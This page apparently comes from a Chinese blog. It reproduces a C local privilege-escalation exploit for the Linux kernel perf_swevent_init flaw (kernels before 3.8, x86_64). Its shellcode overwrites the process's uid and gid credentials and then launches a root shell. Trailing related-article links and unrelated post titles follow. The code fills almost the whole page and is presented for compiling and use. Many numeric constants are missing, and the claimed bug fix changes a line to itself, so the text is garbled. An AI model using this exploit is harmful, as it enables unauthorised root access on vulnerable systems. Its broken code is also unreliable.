Linux kernel perf_swevent_init Local root Exploit
64位上编译
另外修改了原Exploit的一个错误
第76行
把 uint64_t *p = (void *) ¤t[i];
改成 uint64_t *p = (void *) ¤t[i];
*
* CVE-- exploit x86_64 Linux < 3.8.
* by sorbo (sorbo@darkircop.org) June
*
* Based on sd's exploit. Supports more targets.
*
*/ #define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/perf_event.h>
#include <signal.h>
#include <assert.h> #define BASE 0x380000000
#define BASE_JUMP 0x1780000000
#define SIZE 0x10000000
#define KSIZE 0x2000000 #define TMP(x) (0xdeadbeef + (x)) struct idt {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)); static int _fd; static int perf_open(uint64_t off)
{
struct perf_event_attr attr;
int rc; // printf("perf open %lx [%d]\n", off, (int) off); memset(&attr, , sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE;
attr.size = sizeof(attr);
attr.config = off;
attr.mmap = ;
attr.comm = ;
attr.exclude_kernel = ; rc = syscall(SYS_perf_event_open, &attr, , -, -, ); return rc;
} void __sc_start(void);
void __sc_next(void); void __sc(void)
{
asm("__sc_start:\n"
"call __sc_next\n"
"iretq\n"
"__sc_next:\n");
} void sc(void)
{
int i, j;
uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-));
uint64_t kbase = ((uint64_t)current) >> ;
int uid = TMP();
int gid = TMP(); for (i = ; i < ; i += ) {
uint64_t *p = (void *) ¤t[i];
uint32_t *cred = (uint32_t*) p[]; if ((p[] != p[]) || ((p[]>>) != kbase))
continue; for (j = ; j < ; j++) {
if (cred[j] == uid && cred[j + ] == gid) {
for (i = ; i < ; i++) {
cred[j + i] = ;
return;
}
}
}
}
} static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
{
void *p; p = memmem(sc, , &needle, sizeof(needle));
if (!p)
errx(, "can't find %x", needle); memcpy(p, &val, sizeof(val));
} static void *map_mem(uint64_t addr)
{
void *p; p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -, ); if (p == MAP_FAILED)
err(, "mmap()"); return p;
} static int find_mem(void *mem, uint8_t c)
{
int i;
uint8_t *p = mem; for (i = ; i < SIZE; i++) {
if (p == c)
return i;
} return -;
} static void dropshell()
{
if (setuid() != )
errx(, "failed"); printf("Launching shell\n"); execl("/bin/sh", "sh", NULL);
exit();
} void morte(int x)
{
printf("Got signal\n");
close(_fd);
dropshell();
} static void trigger(int intr)
{
switch (intr) {
case :
do {
int z = ;
int a = ; z--; a /= z;
} while ();
break; case :
asm("int $4");
break; case 0x80:
asm("int $0x80");
break; default:
errx(, "unknown intr %d", intr);
} sleep();
} int main(int argc, char *argv[])
{
uint32_t *p[];
int fd, i;
uint64_t off;
uint64_t addr = BASE;
struct idt idt;
uint8_t *kbase;
int sz = ;
int intr = ; printf("Searchin...\n"); p[] = map_mem(BASE);
p[] = map_mem(BASE_JUMP); memset(p[], 0x69, SIZE); off = 0xFFFFFFFFL;
fd = perf_open(off);
close(fd); i = find_mem(p[], 0xff);
if (i == -) {
i = find_mem(p[], 0x68); if (i == -)
errx(, "Can't find overwrite"); sz = ;
addr = BASE_JUMP;
printf("detected CONFIG_JUMP_LABEL\n");
} munmap(p[], SIZE);
munmap(p[], SIZE); addr += i;
addr -= off * sz; printf("perf_swevent_enabled is at 0x%lx\n", addr); asm("sidt %0" : "=m" (idt)); printf("IDT at 0x%lx\n", idt.addr); off = addr - idt.addr;
off -= ; switch (off % sz) {
case :
intr = ;
break; case :
intr = 0x80;
break; case :
intr = ;
break; default:
errx(, "remainder %d", off % sz);
} printf("Using interrupt %d\n", intr); off -= * intr; assert((off % sz) == ); off /= sz;
off = -off; // printf("Offset %lx\n", off); kbase = (uint8_t*) (idt.addr & 0xFF000000); printf("Shellcode at %p\n", kbase); if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -, ) == MAP_FAILED)
err(, "mmap()"); memset(kbase, 0x90, KSIZE);
kbase += KSIZE - ; i = __sc_next - __sc_start;
memcpy(kbase, __sc_start, i);
kbase += i;
memcpy(kbase, sc, ); sc_replace(kbase, TMP(), getuid());
sc_replace(kbase, TMP(), getgid()); signal(SIGALRM, morte);
alarm(); printf("Triggering sploit\n");
_fd = perf_open(off); trigger(intr); exit();
}
Linux kernel perf_swevent_init Local root Exploit的更多相关文章
- [轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)
author : deep_pro目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的(http://forum.evilocta ...
- [轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- Android linux kernel privilege escalation vulnerability and exploit (CVE-2014-4322)
In this blog post we'll go over a Linux kernel privilege escalation vulnerability I discovered which ...
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- archlinux 传统方法编译内核linux kernel 3.3.7
From: http://hi.baidu.com/flashgive/item/eaef6326b5eb73d3a417b662 archlinux中传统方法编译内核 1)下载内核以及补丁并解压: ...
- the Linux Kernel: Traffic Control, Shaping and QoS
−Table of Contents Journey to the Center of the Linux Kernel: Traffic Control, Shaping and QoS 1 Int ...
随机推荐
- cas单点注销失败Error Sending message to url endpoint
最近在做cas单点登录时,由于是单点登录.必然会涉及到单点注销,然而在做单点注销时由于对cas注销机制不了解加之测试条件所致,所有测试都是在本机下完成(机器性能较低,没用虚拟机):导致折腾了很久.网上 ...
- 考前复习(codevs 2837)
2837 考前复习 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题解 查看运行结果 题目描述 Description Aiden马上要考试了,可他 ...
- LinuxC语言读取文件,分割字符串,存入链表,放入另一个文件
//file_op.c #include <string.h> #include <stdio.h> #include <stdlib.h> struct info ...
- cocos2dx实现经典飞机大战
游戏开始层 #ifndef __LayerGameStart_H__ #define __LayerGameStart_H__ #include "cocos2d.h" USING ...
- Mysql or Mongodb LBS快速实现方案
http://www.wubiao.info/470 前两篇文章: 查找附近的xxx 球面距离以及Geohash方案探讨 (http://www.wubiao.info/372) 微信.陌陌 架构方案 ...
- ASP.NET服务器端执行耗时操作的工作记录
公司之前有这样一个业务需求: 一名同事做出文件a0和b0,然后将a0加密为a1.b0加密为b1:再将文件a0.a1.b0和b1上传至服务器M:同时要将服务器N上的数据表添加一条记录,该记录的ID就是前 ...
- codeiginter框架数据库操作
/** * //查询表内的数据 * $res = $this->db->get('表名'); * $res->result(); ...
- 查看APP用到的图片方法
把APP对应的APK文件下载到电脑上,然后把扩展名修改为zip,然后进行解压,就可以看了.
- 编辑WCF配置不出现
在使用VS2010创建
- CDH 的Cloudera Manager免费与收费版的对比表
CDH 特性 免费版 付费版 Deployment, Configuration & Management 系统管理 Automated Deployment & Hadoop Rea ...